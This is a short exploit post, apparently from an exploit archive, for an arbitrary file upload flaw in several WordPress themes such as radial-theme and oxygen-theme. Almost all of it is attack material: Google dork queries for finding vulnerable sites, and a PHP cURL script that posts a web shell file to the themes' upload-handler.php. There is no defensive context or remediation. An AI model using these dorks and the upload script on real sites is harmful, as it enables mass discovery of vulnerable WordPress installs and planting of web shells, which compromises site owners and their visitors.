Exploit for Wp themes File Upload

[Sk7]

inurl:"/wp-content/themes/bordeaux-theme/"
inurl:"/wp-content/themes/bulteno-theme/"
inurl:"/wp-content/themes/oxygen-theme/"
inurl:"/wp-content/themes/radial-theme/"
inurl:"/wp-content/themes/rayoflight-theme/"
inurl:"/wp-content/themes/reganto-theme/"
inurl:"/wp-content/themes/rockstar-theme/"

<?php
$uploadfile="shellKamu.php";
$ch =
curl_init("http://site.com/wp-content/themes/radial-theme/functions/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('orange_themes'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>